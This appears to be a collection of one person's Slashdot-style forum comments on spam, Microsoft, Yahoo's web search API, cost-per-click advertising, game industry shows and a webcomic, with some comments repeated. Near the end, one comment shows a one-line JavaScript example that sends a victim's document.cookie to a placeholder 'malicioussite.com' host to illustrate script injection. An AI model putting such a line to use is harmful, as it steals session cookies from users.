Any blackhat technique they use would be immediately patched by Microsoft.
Yes, they could patch. Or (and it's probably obvious, but IANAL) if they want to be "legally" anti-competitive, they could always claim that third-party vendors are violating the DMCA by using said techniques...
Why is it that we're always trying to solve tech problems with social solutions, and social problems with tech solutions? The free market and technology created spam, and IMO they're doing a fine job of canning it too. Is government intervention really necessary?
A few slashdotters commented on how this article was a dupe, but now I'm starting to see why stories like the "untraining spam filters" are rising to the surface yet again. Ever notice how stories about unhealthy fast food/cigarettes pop up right before a lawsuit?
::adjusts tin foil hat:: It's just all too convenient for me...
What Yahoo is doing is great, but you're not giving Google nearly enough credit.
You might be right. But I've had the chance to use the Web API's for Yahoo, Google, and MSN. Yahoo's Web Search API has been much easier to use than Google's or MSN's. I know there are many other API's to use than just web search, but I've been impressed with what I've seen from Yahoo, more so than from the others.
Direction is everything, and you have to admit Yahoo has been moving in the right direction lately. Here's to hoping they don't lose focus of what's giving them such good publicity! =)
Every time I see a story about Yahoo concerning developers, it's exactly what I want to hear. While their competitors are saying "do no evil", Yahoo seems to be living it.
I don't know if I'm quite there yet, but my hard-to-break habit of Googling everything might be worth breaking if this kind of developer-focused attitude from Yahoo continues like it has. It's at least very tempting.
To clarify: CPC advertising, such as Adsense, is fine, but it should be used only as a supplement, after focusing on organic search results. This includes standards-based design, properly using meta tags, backlinking, etc.
This is what kills me. Companies are so willing to fork over a ton of money for cost-per-click (CPC) advertising, when so many sites are not friendly to search engine spiders for organic (non-paid) searches. It's one of the biggest, and most overlooked reasons to use standards-based design practices. And it's free to do so (at least, if it's done the first time)!
In many cases, CPC advertising is another example of throwing money at a problem for a band-aid.
It would be really strange if the new big show (dare I say "e3 killer"?) was at a time other than the traditional spring. For instance, if it was during the end of summer/early fall, imagine how long the advertising ramp-up for Christmas would be.
Geez. And you thought Christmas started too early already...
I don't know about "highbrow". I'd settle for a game that doesn't insult my intelligence.
This, of course, eliminates the simplified cel-shaded Zelda travesty, and Halo 2 on XBL with voicemasking allowed.
This will be great for artists who have the talent, but really need exposure.
My wife has been working on her online semi-weekly comic strip for over a year now. Her drawing/photoshop skills have come a long way since she started. Even though her paintings and drawings have been featured in local (Columbus, OH) galleries, it's been a fight to gain an audience for her comic larger than family and friends.
Perhaps this is because RocketFuel follows her real life very closely, down to the clothes she wears and conversations she overhears/has. But I can't help but think her personal stories aren't so uncommon.
Check out RocketFuel if you have a chance. It's refreshing to me, in that it somehow pulls off being child-like, without being childish.
That's one example off the top of my head. I don't see how this relates to RSS feeds, but examples of malicious javascript injections are definitely out there.
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Any blackhat technique they use would be immediately patched by Microsoft.
Yes, they could patch. Or (and it's probably obvious, but IANAL) if they want to be "legally" anti-competitive, they could always claim that third-party vendors are violating the DMCA by using said techniques...
Why is it that we're always trying to solve tech problems with social solutions, and social problems with tech solutions? The free market and technology created spam, and IMO they're doing a fine job of canning it too. Is government intervention really necessary?
A few slashdotters commented on how this article was a dupe, but now I'm starting to see why stories like the "untraining spam filters" are rising to the surface yet again. Ever notice how stories about unhealthy fast food/cigarettes pop up right before a lawsuit?
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They sure know how to make a new user feel special!
Good thing I'm using PHP!
What Yahoo is doing is great, but you're not giving Google nearly enough credit.
You might be right. But I've had the chance to use the Web API's for Yahoo, Google, and MSN. Yahoo's Web Search API has been much easier to use than Google's or MSN's. I know there are many other API's to use than just web search, but I've been impressed with what I've seen from Yahoo, more so than from the others.
Direction is everything, and you have to admit Yahoo has been moving in the right direction lately. Here's to hoping they don't lose focus of what's giving them such good publicity! =)
Every time I see a story about Yahoo concerning developers, it's exactly what I want to hear. While their competitors are saying "do no evil", Yahoo seems to be living it.
I don't know if I'm quite there yet, but my hard-to-break habit of Googling everything might be worth breaking if this kind of developer-focused attitude from Yahoo continues like it has. It's at least very tempting.
To clarify: CPC advertising, such as Adsense, is fine, but it should be used only as a supplement, after focusing on organic search results. This includes standards-based design, properly using meta tags, backlinking, etc.
Google Search: 3.5%
Google adsense: 0.25%
This is what kills me. Companies are so willing to fork over a ton of money for cost-per-click (CPC) advertising, when so many sites are not friendly to search engine spiders for organic (non-paid) searches. It's one of the biggest, and most overlooked reasons to use standards-based design practices. And it's free to do so (at least, if it's done the first time)!
In many cases, CPC advertising is another example of throwing money at a problem for a band-aid.
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It would be really strange if the new big show (dare I say "e3 killer"?) was at a time other than the traditional spring. For instance, if it was during the end of summer/early fall, imagine how long the advertising ramp-up for Christmas would be.
Geez. And you thought Christmas started too early already...
I don't know about "highbrow". I'd settle for a game that doesn't insult my intelligence. This, of course, eliminates the simplified cel-shaded Zelda travesty, and Halo 2 on XBL with voicemasking allowed.
Given the projected surge in sales of higher resolution displays, how will it be until 800x600 fixed-width layouts finally die off?
I only purchase games that aren't pirated. The games that are only bought legitimately are never worth my time/money.
This will be great for artists who have the talent, but really need exposure.
My wife has been working on her online semi-weekly comic strip for over a year now. Her drawing/photoshop skills have come a long way since she started. Even though her paintings and drawings have been featured in local (Columbus, OH) galleries, it's been a fight to gain an audience for her comic larger than family and friends.
Perhaps this is because RocketFuel follows her real life very closely, down to the clothes she wears and conversations she overhears/has. But I can't help but think her personal stories aren't so uncommon.
Check out RocketFuel if you have a chance. It's refreshing to me, in that it somehow pulls off being child-like, without being childish.
Kudos to Mr. Ellis. He's doing good work.
window.location = 'http://www.malicioussite.com/?victimcookie=' + document.cookie;
That's one example off the top of my head. I don't see how this relates to RSS feeds, but examples of malicious javascript injections are definitely out there.